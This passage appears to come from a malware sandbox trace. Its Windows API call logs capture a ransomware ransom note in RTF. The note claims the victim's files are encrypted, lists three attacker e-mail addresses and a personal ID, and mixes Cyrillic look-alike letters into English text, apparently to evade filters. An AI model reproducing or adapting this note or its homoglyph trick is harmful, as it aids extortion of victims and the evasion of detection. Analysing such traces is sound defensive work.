pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2763ff8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 